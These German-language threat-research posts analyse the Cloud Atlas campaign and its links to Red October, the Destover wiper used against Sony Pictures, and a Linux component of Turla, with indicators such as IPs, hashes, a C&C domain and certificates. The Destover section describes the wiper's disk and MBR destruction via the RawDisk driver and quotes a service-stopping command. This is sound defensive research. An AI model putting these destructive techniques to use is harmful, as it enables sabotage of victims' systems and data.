Die in dem willkürlich benannten Ordner gespeicherten Daten wurden von der Malware hochgeladen und enthalten verschiedene Dinge, wie etwa Systeminformationen, laufende Prozesse und den aktuellen Nutzernamen. Die Daten werden mit LZMA komprimiert und mit AES verschlüsselt, doch die Schlüssel werden in dem Schadprogramm-Körper gespeichert, wodurch es möglich wird, die Informationen vom C&C zu entschlüsseln.

In der Vergangenheit hatten wir es bisher nur mit einer anderen Gruppe zu tun, die eine ähnliche Methode angewendet hat – ItaDuke – die sich mit Accounts bei dem Cloud-Provider mydrive.ch verbunden hat.

Opferstatistik: Top 5 der infizierten Länder

 CloudAtlasRoter Oktober
Russland1535
Kasachstan1421
Weißrussland45
Indien214
Tschechische Republik2< 5

Ähnlichkeiten mit Roter Oktober

Gemäß den vom Kaspersky Security Network (KSN) zusammengetragenen Daten steht wie im Fall von Roter Oktober Russland auch auf der Opferliste von Cloud Atlas ganz oben, dicht gefolgt von Kasachstan. Tatsächlich sehen wir hier eine offensichtliche Schnittmenge der Ziele zwischen diesen beiden Ländern, mit leichten Unterschieden aufgrund der geopolitischen Veränderungen in der Region, die sich im Laufe der letzten zwei Jahre ergeben haben.

Interessanterweise scheinen einige der Spearphishing-Dokumente, die einerseits CloudAtlas und andererseits Roter Oktober zugerechnet werden, dasselbe Thema auszunutzen und dieselbe Organisation zu unterschiedlichen Zeiten anzugreifen.

CloudAtlasRoter Oktober

Sowohl die zu CloudAtlas als auch die zu Roter Oktober gehörende Malware basieren auf ähnlichen Konstrukten, mit einem Loader und der endgültigen Payload, die in einer externen Datei in komprimierter Form gespeichert werden. Allerdings gibt es auch einige wichtige Unterschiede, unter anderem bei dem verwendeten Verschlüsselungsalgorithmus – RC4 in Roter Oktober gegenüber AES in Cloud Atlas.

Bei dem verwendeten Kompressionsalgorithmus in Cloud Altas und Roter Oktober gibt es weitere interessante Ähnlichkeiten. Beide Schadprogramme haben den Code für den LZMA-Kompressionsalgorithmus gemeinsam. In CloudAtlas wird er benötigt, um die Logdateien zu komprimieren und die entschlüsselte Payload von den C&C-Servern zu dekomprimieren, während es in Roter Oktober vom "Scheduler"-Plugin benutzt wird, um die ausführbaren Payloads von den C&C zu dekomprimieren.

Es zeigt sich, dass die Implementierung des Algorithmus‘ in beiden Schadmodulen identisch ist, obgleich die Art und Weise, auf die er aufgerufen wird, sich durch die in der Version von CloudAtlas hinzugefügten Plausibilitätsprüfungen ein wenig unterscheidet.

Eine weitere interessante Ähnlichkeit zwischen den Malware-Familien liegt in der Konfiguration des Build-Systems, das zur Kompilierung der Binärdateien verwendet wird. Jede Binärdatei, die unter Verwendung der Microsoft Visual Studio Toolchain erstellt wurde, hat einen speziellen Header, der Information über die Zahl der eingegebenen Objektdateien und Versionsinformationen zu dem Compiler enthält, der zu ihrer Erstellung verwendet wurde - den "Rich"-Header, der von der magischen Zeichenkette so genannt wird, die verwendet wird, um ihn in der Datei zu identifizieren.

Wir konnten einige Binärdateien von Roter Oktober identifizieren, die „Rich“-Header haben, die genau dasselbe Layout der Objektdateien VC 2010 + VC 2008 beschreiben. Obwohl das nicht zwangsläufig bedeuten muss, dass die Binärdateien auf demselben Entwicklungscomputer erstellt wurden, wurden sie definitiv unter Verwendung derselben Version von Microsoft Visual Studio kompiliert, bis hin zu der Build-Versionsnummer und unter Verwendung einer ähnlichen Projektkonfiguration.

Anzahl der Objektdateien, CloudAtlas-LoaderAnzahl der Objektdateien, Roter Oktober Office-PluginAnzahl der Objektdateien, Roter Oktober Fileputexec-PluginHEX Compiler-VersionDecodierte Compiler-Version
010101009D766FVC 2010 (build 30319)
010101009B766FVC 2010 (build 30319)
222E6000AB766FVC 2010 (build 30319)
5B60A300010000
05071100937809VC 2008 (build 30729)
725CAD00AA766FVC 2010 (build 30319)
201018009E766FVC 2010 (build 30319)

Hier die Ähnlichkeiten zwischen beiden im Überblick:

 Cloud AtlasRoter Oktober
Shellcodemarker in Spearphishing-DokumentenPT@TPT@T
Am stärksten angegriffenes OpferlandRusslandRussland
Kompressionsalgorithmus, der für die C&C-Kommunikation verwendet wirdLZMALZMA
C&C-Server behaupten zu sein / umgeleitet aufBBC (mobile malware)BBC
Compiler-VersionVC 2010 (build 30319)VC 2010 (build 30319) (einige Module)

Die auffälligste Verbindung zwischen den beiden schließlich liegt vermutlich in den Angriffszielen. Auf Grundlage der vom KSN gesammelten Daten werden einige der Opfer von Roter Oktober auch von CloudAtlas angegriffen. In mindestens einem Fall wurde der Computer eines Opfers nur zweimal in den letzten zwei Jahren angegriffen, und zwar von nur zwei Schadprogrammen Roter Oktober und CloudAtlas.

Diese und andere Details lassen uns vermuten, dass CloudAtlas als Reinkarnation der Angriffe von Roter Oktober anzusehen ist.

Fazit

Infolge umfassender Berichterstattung und öffentlicher Enthüllungen über zielgerichtete Angriffsoperationen benehmen sich APT-Gruppen nun äußerst vorhersehbar. Die meisten chinesischsprachigen Angreifer verlegen ihre C&C-Server einfach an einen anderen Ort, kompilieren die Malware neu und machen weiter, als wäre nichts geschehen.

Andere Gruppen, die sich mehr vor Entdeckung fürchten, begeben sich für Monate oder Jahre in eine Art Winterschlaf. Einige kehren nie wieder mit denselben Techniken und Tools zurück.

Doch wenn eine groß angelegte Cyberspionage-Operation aufgedeckt wird, so ist es äußerst unwahrscheinlich, dass die Angreifer die gesamte Operation komplett stilllegen. Sie gehen einfach für eine gewisse Zeit offline, mischen ihre Tools neu und kehren mit verjüngten Kräften zurück.

Wir glauben, dass das auch auf Roter Oktober zutrifft - eine APT, die mit CloudAtlas ein klassisches Comeback hinlegt.

Die Produkte von Kaspersky Lab detektieren die Malware aus dem Cloud Atlas-Werkzeugkasten unter den folgenden Bezeichnungen:

Exploit.Win32.CVE-2012-0158.j
Exploit.Win32.CVE-2012-0158.eu
Exploit.Win32.CVE-2012-0158.aw
Exploit.MSWord.CVE-2012-0158.ea
HEUR:Trojan.Win32.CloudAtlas.gen
HEUR:Trojan.Win32.Generic
HEUR:Trojan.Script.Generic
Trojan-Spy.Win32.Agent.ctda
Trojan-Spy.Win32.Agent.cteq
Trojan-Spy.Win32.Agent.ctgm
Trojan-Spy.Win32.Agent.ctfh
Trojan-Spy.Win32.Agent.cter
Trojan-Spy.Win32.Agent.ctfk
Trojan-Spy.Win32.Agent.ctfj
Trojan-Spy.Win32.Agent.crtk
Trojan-Spy.Win32.Agent.ctcz
Trojan-Spy.Win32.Agent.cqyc
Trojan-Spy.Win32.Agent.ctfg
Trojan-Spy.Win32.Agent.ctfi
Trojan-Spy.Win32.Agent.cquy
Trojan-Spy.Win32.Agent.ctew
Trojan-Spy.Win32.Agent.ctdg
Trojan-Spy.Win32.Agent.ctlf
Trojan-Spy.Win32.Agent.ctpz
Trojan-Spy.Win32.Agent.ctdq
Trojan-Spy.Win32.Agent.ctgm
Trojan-Spy.Win32.Agent.ctin
Trojan-Spy.Win32.Agent.ctlg
Trojan-Spy.Win32.Agent.ctpd
Trojan-Spy.Win32.Agent.ctps
Trojan-Spy.Win32.Agent.ctpq
Trojan-Spy.Win32.Agent.ctpy
Trojan-Spy.Win32.Agent.ctie
Trojan-Spy.Win32.Agent.ctcz
Trojan-Spy.Win32.Agent.ctgz
Trojan-Spy.Win32.Agent.ctpr
Trojan-Spy.Win32.Agent.ctdp
Trojan-Spy.Win32.Agent.ctdr
Trojan.Win32.Agent.idso
Trojan.Win32.Agent.idrx
HEUR:Trojan.Linux.Cloudatlas.a
Trojan.AndroidOS.Cloudatlas.a
Trojan.IphoneOS.Cloudatlas.a

Sony/Destover: Die zerstörerische Netzwerk-Aktivität des geheimnisvollen nordkoreanischen Bedrohungsakteurs – Gegenwart und Vergangenheit


  Kurt Baumgartner       22 Dezember 2014 | 12:00  MSK

Ihr Kommentar  

Anfang Dezember veröffentlichte das FBI erstmals eine Warnung vor einer destruktiven Löschfunktionalität, die in der Attacke auf Sony Pictures Entertainment eingesetzt wurde. Samples dieser Destover-Malware enthielten Konfigurationsdateien, die auf Systemen erstellt wurden, die koreanische Sprachpakete verwenden.


Seit die Attacken veröffentlicht wurden, sind weitere Informationen über die Malware in der einen oder anderen Form an die Oberfläche gekommen, doch einige Details, wie etwa solche, die sich auf frühere Aktivität des Hauptverdächtigen beziehen, müssen noch durchleuchtet werden.


Während Sony Pictures also still und leise sein kostenintensives Großreinemachen fortsetzt und sich auf die Veröffentlichung von "The Interview" vorbereitet, wollen wir über einige der Malware-Funktionen sprechen, über offenkundige Ähnlichkeiten zu anderen Vorfällen, bei denen Daten gelöscht wurden, sowie über die frühere Aktivität der mutmaßlichen Hackergruppe.


Mystery_1


Zuallererst ist anzumerken, dass zerstörerische Aktivität, die die Netzwerke großer Organisationen angreift, nichts Ungewöhnliches mehr ist. Andere so genannte Wiper-Schadsoftware wird hier besprochen. Die meisten mit dieser Malware in Verbindung stehenden Vorfälle haben sich im Mittleren Osten und auf der Koreanischen Halbinsel zugetragen. Wir haben zudem einen separaten Vorfall in Osteuropa im Zusammenhang mit BlackEngergy2 in einer industriellen Kontrollsystemumgebung registriert und ihn hier detaillierter beschrieben. Und auch das Löschen der gesamten Kundendaten von Code Spaces in Großbritannien durch einen Hacker, der – wie hier beschrieben - die Informationen zu Erpressungszwecken gestohlen hat, ist schwer zu ignorieren.


Die bei der Attacke auf Sony Entertainment eingesetzte Malware heißt Trojan Destover und ist in der Lage, Festplattenlaufwerke und den Master Boot Record zu löschen.


Funktionalität des Wiper-Schädlings Destover


Die interessantesten Aspekte der destruktiven Funktionalität dieser Malware haben mit der Auswahl und Speicherung/Anlieferung der Treiber zu tun, die nun wiederholt in dieser Art von Sabotage-Angriffen verwendet werden.


Die Destover-Dropper installieren EldoS RawDisk Treiber und führen diese aus, um die NTFS-Sicherheitsberechtigung zu umgehen und die Festplattendaten und den MBR selbst zu überschreiben. Dies hat Folgen für die Wiederherstellung der Daten. Im Falle der DarkSeoul-Malware konnten die überschriebenen Daten mittels einer Methode zurückgeholt werden, die der Methode zur Wiederherstellung der von Shamoon 'zerstörten' Daten gleicht. Die Wiederherstellung der von Destover gelöschten Daten funktioniert vermutlich genauso.


Die Kette der zwischengeschalteten Komponenten, die zu der destruktiven Payload führen, folgt einer Vielzahl von Stufen (die bereits an anderer Stelle beschrieben wurden), wobei die Ausführung auf verschiedene Modi eingestellt werden kann, wie auch bei Shamoon:



  1. Das Sample wird das erste Mal auf einem 32-Bit-Betriebssystem ausgeführt.

  2. Das Sample wird auf einem 32-Bit-Betriebssystem ausgeführt als selbstinstallierter Service, mit einem von mehreren Code-Pfaden.

  3. Das Sample wird auf einem 64-Bit-Betriebssystem als selbstinstallierter Service ausgeführt.


Bei der ersten Ausführung erstellt es den 'Backup and Restore Management' Windows brmgmtsvc Service, fügt seine eigene ausführbare Datei hinzu und stellt einen Start-'-i'-Switch ein. Er verteilt außerdem mehrere Kopien seiner selbst und startet jede von ihnen mit einem anderen Switch: -m, -d, und -w.


-m (MBR überschreiben):

Es wird versucht, sich mit den drei IP-Adressen zu verbinden. Selbst wenn das nicht gelingt, kommt es zur Prozessausführung.

Die Malware ruft ihre Ressource auf, die den komprimierten EldoS RawDisk Treiber enthält und schreibt ihn als einen 'usbdrv3.sys' in das temporäre Verzeichnis.

Dann installiert sie den Treiber als den usbdrv3 Service 'USB 3.0 Host Controller'.

Danach startet sie den Treiberdienst und schließt ihren Service-Identifikator.

Die Schadsoftware erstellt dann einen Filehandle für den Treiber mit Schreibgenehmigungen:

'\\?\ElRawDisk\??\\PhysicalDrive0#99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585 B692047273B0E55275102C664C5217E76B8E67F35FCE385E4328EE1AD139EA6AA26345C4F93000DBBC7EF1579D4F'

und schreibt zu diesem Identifikator mit 64k Strings von '0xAAAAAAAA'. ← beachten Sie bitte, dass das Problem eines überlangen Lizenzschlüssels (#99E2428…) bereits in unserem Blogpost Shamoon The Wiper - Part II besprochen wurde.

Daraufhin erstellt sie neue Threads, von denen jeder versucht, sich mit jedem möglichen physikalischen Laufwerkbuchstaben zu verbinden und ihn ebenfalls zu überschreiben.


-d (Daten überschreiben):

Hier wird versucht, sich mit denselben drei IP-Adressen zu verbinden. Auch in diesem Fall findet ungeachtet der Kommunikation Prozessausführung statt.

Die Malware erhält die logischen Treiber und durchwandert sie rekursiv und identifiziert so alle Datendateien. Sind es keine .exe oder .dll, überschreibt der Prozess den Dateiinhalt mit '0x0df0adba' in einem 20k-Block. Dieses Überschreiben vollzieht sich aus dem Nutzermodus, ohne EldoS-Treiber.

Daraufhin wird versucht, unter Verwendung der win32 api 'DeleteFileW', die Datendatei zu löschen. Bei einer Rekursion durch alle Systemverzeichnisse wird nun versucht, alle .exe- und .dll-Dateien zu löschen.


-w (Webserver):

Auch hier wird versucht, eine Verbindung zu denselben drei IP-Adressen herzustellen. Wieder findet ungeachtet der Kommunikation Prozessausführung statt.

Die Windows Terminal Services von der cmd-Linie werden gestoppt: 'cmd.exe /c net stop termservice /y'

Dann wird die Ressource resource#85 gefunden, dekomprimiert und die Inhalte werden in 'c:\windows\iissvr.exe' geschrieben.

Der Prozess iissvr.exe wird gestartet und der Switch wird beendet.

iissvr ist, was es zu sein scheint - ein Webserver, der eine verschlüsselte JPG-, HTML- und WAV-Datei enthält. Der Prozess horcht auf Port 80 und stellt diese Dateien bereit. Die vollständige Grafik und die Warnmitteilung folgen an späterer Stelle in diesem Artikel. Hier die entschlüsselte jpg-Datei:


Mystery_2


Schließlich, nach zwei Stunden, startet der ursprüngliche Dienst den Rechner neu mit einem Aufruf zu ExitWindowsEx(EWX_REBOOT|EWX_FORCE, 0). Dadurch wird ein Beenden erzwungen, doch das Herunterfahren selbst wird verzögert, während eine Dateierstellung zum Systemstatus erscheint.


Gemeinsamkeiten zwischen Wiper-Schädlingen


Wie auch bei Shamoon, sind die Treiber der Destover Wiper-Malware käuflich als EldoS RawDisk Treiberdateien erwerblich.


Wie auch bei Shamoon, werden die Treiber der Destover Wiper-Malware in der Ressourcensektion des Droppers verwaltet.


Wie auch bei Shamoon, wurden die Festplattendaten und der MBR bei der DarkSeoul Wiper-Attacke mit vagen, verschlüsselten pseudo-politischen Botschaften überschrieben.


Wie auch bei DarkSeoul, wurden die ausführbaren Dateien der Destover-Malware irgendwann in einem Zeitraum zwischen 48 Stunden vor der Attacke und dem Tag der Attacke kompiliert. Es ist höchst unwahrscheinlich, dass die Angreifer sich ihren Weg zu einer großen Zahl von Usern durch Spearphishing gebahnt haben, und es ist sehr wahrscheinlich, dass sie sich schon vor der Attacke uneingeschränkten Zugriff auf das gesamte Netzwerk verschafft haben.


Die Shamoon-Komponenten wurden in ähnlich kurzer Zeit, bevor sie zur Anwendung kamen, kompiliert. Die CompiledOn-Zeitstempel fallen alle in einen Zeitraum, der fünf Tage vor der Zündung ihrer ausführbaren Dateien liegt. Fast alle wurden am 10. August 2012 kompiliert (zwischen 00:17:23 und 02:46:22) und der „Zeitzünder“ war auf den 15. August 2012 eingestellt. Das ist ein enges Zeitfenster, wenn es darum geht, diese Binärdateien bereitzustellen, wenn man bedenkt, dass zehntausende Rechner mit dieser Payload zerstört wurden.


In allen drei Fällen, Shamoon, DarkSeoul und Destover, haben die Gruppen, die für sich beanspruchen, für die zerstörerischen Auswirkungen innerhalb ganzer großer Netzwerke verantwortlich zu sein, keine Geschichte oder keine wirklich eigene Identität. Alle haben versucht, nach ihrer Tat von der Bildfläche zu verschwinden, haben keine klaren Erklärungen abgegeben, dafür aber bizarre, umständliche Anschuldigungen ausgesprochen, und sie haben ihre destruktiven Taten immer direkt nach einem politisch brisanten Ereignis begangen, das dann als eigentlicher Grund für die ganze Sache herhalten musste.


Die Bilder der Gruppen 'Whois' (DarkSeoul) und 'GOP' (Destover) enthalten eine 'gehackt von'-Behauptung, die begleitet wird von einer "Warnung" und Drohungen hinsichtlich der gestohlenen Daten. Beide drohen, dass das hier nur der Anfang sei, und dass die Gruppe zurückkehren werde. Es sieht so aus, als wäre auch das originale Skelett-Kunstwerk in beiden enthalten.


Hier Grafik und Warnung vom Whois-Team:


Mystery_3


Und hier die Grafik plus Warnung von GOP:


Mystery_1


Zu den Unterschieden zwischen den Wiper-Attacken von Destover und denen von DarkSeoul gehört das Fehlen von *nix-Skripten bei Destover, die dazu dienen, auch Speicherzonen in Linux-Systemen zu löschen.


Die oben stehende Liste von Gemeinsamkeiten ist natürlich kein Beweis dafür, dass die Bande hinter Shamoon sowohl hinter DarkSeoul als auch hinter Destover steckt. Aber man sollte berücksichtigen, dass die reaktionären Ereignisse und das ihnen eigene Vorgehen sowie die Merkmale der Toolsets deutliche Ähnlichkeiten aufweisen. Und es ist überaus ungewöhnlich, dass so außergewöhnliche und zielgerichtete Akte von umfassender Cyberzerstörung mit deutlich spürbaren Ähnlichkeiten durchgeführt werden.


Netzwerkaktivität


In Beziehung stehende Ziele wurden veröffentlicht als:



  • 88.53.215.64

  • 217.96.33.164

  • 203.131.222.102


Doch direkt damit verbundene Samples führen auch Rückrufe zu einer Reihe anderer IP-Adressen durch. Die Daten des Kaspersky Security Network (KSN) weisen ein komplettes Fehlen von Malware auf, die in der Vergangenheit von irgendeiner dieser Adressen geliefert wurde:



  • 58.185.154.99

  • 200.87.126.116

  • 208.105.226.235

  • 212.31.102.100


Diese Verbindungen erscheinen willkürlich und haben nichts mit der Ausführung des schädlichen Pakets zu tun. Einige sind aktuell nicht aktiv. Diese IPs scheinen alle einzeln ausgewählt zu sein.


Von einigen dieser Adressen ist bekannt, dass die in jüngster Vergangenheit RD-Scans durchgeführt haben. Im Spätjahr 2012 war 217.96.33.164 ein bekannter RDP-Bruteforcing-Netzwerkscanner. Der Server wird auf einer IP-Adresse in Polen gehostet, von diesem Provider unterstützt seit 1996.


Anfang des Jahres 2014 wurde 88.53.215.64 in Italien gehostet und diente als ein 'Hide My Ass' Premium- und kostenloser Proxyserver über Port 443. Die Malware versucht, sich mit dem Server auf den Ports 8000 und 8080 zu verbinden, und derzeit sind keine Ressourcen verfügbar.


200.87.126.116 diente früher, in den Jahren 2011 und 2012, ebenfalls als ein kostenloser SOCKS-Proxy. Oftmals wurden diese Arten von Ressourcen von Spammern und Betrügern, die illegale Suchmaschinenoptimierung betreiben, missbraucht.


Frühere Backdoors


Die DarkSeoul-Kampagnen stehen in Verbindung mit verschiedenen Familien von Trojanern und Backdoors, die alle im Laufe mehrerer Jahre verwendet wurden. Manche Verbindungen sind sehr viel stärker als andere:



  • Concealment Troy

  • DarkSeoul

  • HttpDr0pper

  • HttpTroy

  • TDrop


Destover MD5s


Trojaner:

MD5GrößeCompiledOnKaspersky-Name
d1c27ee7ce18675974edf42d4eea25c6262 kb2014.11.22 00:06:54Trojan.Win32.Destover.a
2618dd3e5c59ca851f03df12c0cab3b8430 kb2014.11.22 00:05:02Trojan.Win32.Destover.d
760c35a80d758f032d02cf4db12d3e55244 kb2014.11.22 04:11:08Trojan.Win32.Destover.c
b80aa583591eaf758fd95ab4ea7afe39304 kb2014.11.24 04:12:55Trojan.Win32.Destover.b
e1864a55d5ccb76af4bf7a0ae16279ba112 kb2014.11.13 02:05:35Backdoor.Win32.DestoverServ.a
a3fa8c7eb4f061ab8b9f7829c6741593111 kb2014.05.03 07:10:22Trojan.Win32.Destover.f
2c545b89acdb9877da5cbb96653b149153 kb2014.07.14 13:38:18Trojan.Win32.Destover.e
e904bf93403c0fb08b9683a9e858c73e90 kb2014.07.07 08:01:09Trojan.Win32.Destover.d

Eldos-Treiber:

6aeac618e29980b69721158044c2e544 (32-bit), signiert von EldoS Corporation
86e212b7fc20fc406c692400294073ff (64-bit), signiert von EldoS Corporation

Zertifikat (6aeac618e29980b69721158044c2e544 32-Bit und
86e212b7fc20fc406c692400294073ff 64-Bit):


    Data:
Version: 3 (0x2)
Serial Number:
01:00:00:00:00:01:10:0c:98:3a:31
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=BE, O=GlobalSign nv-sa, OU=ObjectSign CA, CN=GlobalSign ObjectSign CA
Validity
Not Before: Jan 10 15:20:07 2007 GMT
Not After : Jan 10 15:20:07 2010 GMT
Subject: C=VG, O=EldoS Corporation, CN=EldoS Corporation/emailAddress=info@eldos.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:d7:60:2f:bf:3c:85:1b:f3:a1:19:8c:4d:0e:49:
c5:a5:f5:16:15:b6:ea:91:e2:c2:92:7b:d6:e5:2a:
1e:68:8c:7b:28:eb:07:dc:b0:3a:dd:11:ee:84:a9:
8b:6f:04:b0:ae:c2:2d:bc:b7:56:41:61:e1:ae:01:
0d:0e:83:47:00:3a:ca:b5:12:fb:e5:b6:55:ac:e0:
94:00:5b:e0:61:70:24:ba:d9:ef:4a:e2:af:8f:21:
93:9e:8b:83:17:2a:e4:3d:74:e6:07:c8:4a:69:ed:
60:9b:89:6e:5b:85:50:49:52:f9:fa:91:63:9f:61:
a7:ea:e2:3e:d7:1b:07:22:a1
Exponent: 65537 (0x10001)
X509v3 extensions:
Netscape Cert Type:
Object Signing
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:D2:5B:F3:4B:26:4B:A5:B0:E7:5D:FD:56:7F:F6:F1:2E:38:4E:53:A0
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.globalsign.net/ObjectSign.crl
Signature Algorithm: sha1WithRSAEncryption
44:0d:5b:2c:f4:c3:c0:91:c0:9f:4d:91:f0:25:5c:79:72:ff:
82:7a:a8:97:fb:08:2b:c2:eb:ae:4b:78:b6:a8:0f:5b:3a:1d:
12:c9:07:81:d0:16:e0:94:1e:69:3c:43:c1:d8:85:b1:4c:1a:
21:84:1c:c8:ed:0a:7e:e4:55:b7:f8:ae:69:a8:b0:8c:10:da:
6e:57:f4:a3:62:5b:2b:4f:06:25:a9:35:f0:63:cc:3f:e0:f6:
4c:ee:1d:d8:9f:d8:ae:d3:fe:de:3b:0b:c5:f3:19:1c:2a:37:
ad:0d:5c:87:5e:da:8f:31:02:d3:78:5d:f1:30:28:78:c3:86:
f7:b2:f6:6c:2d:d8:45:8a:8b:16:eb:bb:d0:6e:5b:98:68:8e:
9b:cc:7e:77:9d:0d:b3:5f:01:d8:57:26:6d:cf:85:2a:46:52:
0f:79:93:85:f7:19:14:01:73:d5:03:e7:96:1a:16:cd:24:0b:
67:6d:f9:72:55:b8:b9:e9:be:07:58:b3:01:bd:a1:18:57:bb:
b3:19:e5:88:0e:f5:96:fe:eb:b8:66:a6:c6:2c:62:b5:21:59:
f2:d9:4d:2b:d1:59:20:07:13:78:26:dc:d5:b3:d1:55:47:5e:
2e:cb:cb:cc:04:7c:d5:e2:9d:7c:24:b1:18:70:da:1f:54:5b:
59:88:d1:17

Data:
Version: 3 (0x2)
Serial Number:
01:e2:b4:f7:59:81:1c:64:37:9f:ca:0b:e7:6d:2d:ce
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com,
CN=DigiCert Assured ID Code Signing CA-1
Validity
Not Before: Sep 18 00:00:00 2012 GMT
Not After : Sep 22 12:00:00 2015 GMT
Subject: C=US, ST=California, L=CULVER CITY, O=Sony Pictures Entertainment Inc.,
CN=Sony Pictures Entertainment Inc.
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:b6:08:80:f6:6d:9c:3a:f4:fb:45:bc:bd:6a:27:
e5:97:23:fa:6a:5d:39:08:97:37:53:13:70:85:1b:
0e:08:b1:b7:5f:e3:78:6e:b1:6b:26:7a:82:86:f8:
37:2d:b0:b2:65:f0:8a:56:c7:e1:1a:88:19:f9:00:
bd:c3:4b:8d:97:10:b6:9a:09:14:8d:95:0a:75:56:
cd:c5:2f:1c:ad:21:82:cb:8c:ad:8d:78:11:1e:b8:
50:94:90:96:7a:e4:69:38:9c:bd:2f:4c:8c:2b:23:
45:f1:ac:59:2f:10:12:d4:64:3a:9b:41:5d:14:2b:
56:10:eb:c6:15:ed:1d:f0:06:d3:0e:9e:96:8e:c1:
0e:cf:62:17:7c:c7:a9:d5:2a:40:99:d6:a2:68:93:
f6:02:2a:1e:95:e6:1e:a4:d6:c4:fd:61:7d:d7:15:
9a:1f:2d:ab:4e:fc:61:9f:d8:54:55:8e:79:d3:57:
8a:22:14:31:d4:a4:4e:a5:43:ec:4b:35:04:8d:f8:
10:37:10:3f:bb:2a:ae:b7:b8:a1:16:f4:f6:02:df:
97:fc:32:95:97:38:23:48:c2:96:b3:aa:9f:88:66:
26:eb:d4:70:38:2f:84:b1:e0:1e:a1:27:5f:3f:14:
b7:dd:4c:f2:c7:22:6a:1a:f8:85:1a:57:23:b3:c7:
58:1f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
keyid:7B:68:CE:29:AA:C0:17:BE:49:7A:E1:E5:3F:D6:A7:F7:45:8F:35:32

X509v3 Subject Key Identifier:
51:6E:D7:E5:BB:2E:FD:39:6B:0D:37:D5:D0:70:6B:5A:8C:D6:11:F8
X509v3 Key Usage: critical
Digital Signature
X509v3 Extended Key Usage:
Code Signing
X509v3 CRL Distribution Points:

Full Name:
URI:http://crl3.digicert.com/assured-cs-2011a.crl

Full Name:
URI:http://crl4.digicert.com/assured-cs-2011a.crl

X509v3 Certificate Policies:
Policy: 2.16.840.1.114412.3.1
CPS: http://www.digicert.com/ssl-cps-repository.htm
User Notice:
Explicit Text:

Authority Information Access:
OCSP - URI:http://ocsp.digicert.com
CA Issuers - URI:http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt

X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: sha1WithRSAEncryption
90:0f:0b:0f:93:f7:77:e7:34:dc:b4:2a:7e:bd:d1:0f:05:ac:
a5:9d:c8:1c:77:18:cd:28:90:28:e7:c6:ac:ad:f9:9e:b0:c6:
74:db:da:8c:b2:38:06:c5:a0:e4:cd:66:e4:ef:f7:21:58:1f:
9a:4f:17:3c:e1:af:c3:67:1e:37:ab:2a:2b:8f:7d:bc:9e:eb:
9b:f5:aa:c0:24:80:70:63:b0:2a:10:54:27:01:12:ec:61:12:
97:2d:98:c5:6f:e5:7e:1c:7c:17:2c:f5:ad:40:fb:b2:44:40:
fa:e1:02:45:22:7d:6f:6d:04:fc:ff:2c:d2:e5:2f:3e:49:5c:
72:4b:0c:5a:ce:6e:13:44:79:f9:b9:26:d9:2e:6f:4d:05:72:
0d:d2:e9:bc:66:88:af:63:5b:1b:44:50:a4:c7:e4:bc:73:d6:
ac:25:7c:1a:88:37:c2:71:3f:1c:32:38:32:12:55:75:db:55:
6d:d9:1e:40:a7:d3:35:f4:bf:86:a3:72:60:49:c3:a4:9a:2e:
4d:5d:0d:4d:97:2b:34:91:5c:e1:e6:a9:93:eb:d2:62:2a:ef:
a1:73:6e:a4:0b:22:d4:31:a8:d5:53:9d:26:29:e1:1c:4a:04:
c5:8a:df:15:01:42:6f:a2:b3:3b:da:2e:e5:4c:b5:53:6b:76:
86:b2:25:29


Frühere und parallele Studienreferenzen



Die 'Pinguin'-Turla-APT


  Kurt Baumgartner       15 Dezember 2014 | 18:54  MSK

Ihr Kommentar  

Kürzlich wurde ein interessantes Malware-Sample zu einem AV-Multiscanner-Service hochgeladen. Sofort war unser Interesse geweckt, denn es scheint sich dabei um ein bisher unbekanntes Teil eines größeren Puzzles zu handeln. Das Puzzle, das wir meinen, ist "Turla", eine der komplexesten APTs überhaupt.

Wir haben bereits früher über die Turla APT, ihre Epic Turla-Operationen und die Verbindung zu Agent.btz berichtet.

Bisher war jedes einzelne Turla-Sample, das uns untergekommen ist, für die Microsoft Windows-Familie, 32- und 64 Bit Betriebssysteme, konstruiert. Das kürzlich aufgetauchte Turla-Sample ist deswegen ungewöhnlich, weil es das erste Turla-Sample ist, das Linux-Betriebssysteme angreift, das wir entdeckt haben.

Die jüngst entdeckte Turla-Komponente unterstützt Linux für weiter reichenden Systemsupport auf Opfer-Sites. Das Angriffstool ist ein weiteres Teil aus dem Set neben dem Snake Rootkit und den Komponenten, die vor ein paar Jahren als erstes mit diesem Bedrohungsakteur in Verbindung gebracht wurden. Wir vermuten, dass diese Komponente jahrelang auf einer Opfer-Site gelaufen ist, aber wir haben noch keine konkreten Daten, die diese Behauptung bestätigen.

Das Turla-Modul für Linux ist eine ausführbare Datei in C/C++ die statisch gegen eine Vielzahl von Bibliotheken gelinkt ist, die ihre Dateigröße bei weitem übersteigen. Es wurde von Symbolinformationen befreit, vermutlich eher, um die Analyseleistung zu steigern, als die Dateigröße zu verringern. Seine Funktionalität beinhaltet verborgene Netzwerkkommunikation und willkürliche entfernte Befehlsausführung sowie entfernte Verwaltung. Ein großer Teil des Codes dieser Komponente basiert auf öffentlichen Quellen.

Md5GrößeName
0994d9deb50352e76b0322f48ee576c6627.2 kbN/A (beschädigte Datei)
14ecd5e6fc8e501037b54ca263896a11637.6 kbHEUR:Backdoor.Linux.Turla.gen

Allgemeine ausführbare Charakteristika:

ELF 32-bit LSB ausführbare Datei, Intel 80386, Version 1 (SYSV), statisch verlinkt, für GNU/Linux 2.2.5, stripped

Statisch verlinkte Bibliotheken:

  • glibc2.3.2 - die GNU C Library
  • openssl v0.9.6 – eine ältere OpenSSL-Bibliothek
  • libpcap – die Bibliothek von tcpdump zum Mitschneiden von Netzwerkverkehr

Hartcodiertes C&C, bekannte Turla-Aktivität: news-bbc.podzone[.]org
Die Domain hat die folgende pDNS IP: 80.248.65.183


80.248.65.183
aut-num: AS30982
announcement: 80.248.65.0/24
as-name: CAFENET
descr: CAFE Informatique et telecommunications
admin-c: YN2-AFRINIC
tech-c: AN39-AFRINIC
org: ORG-CIet1-AFRINIC
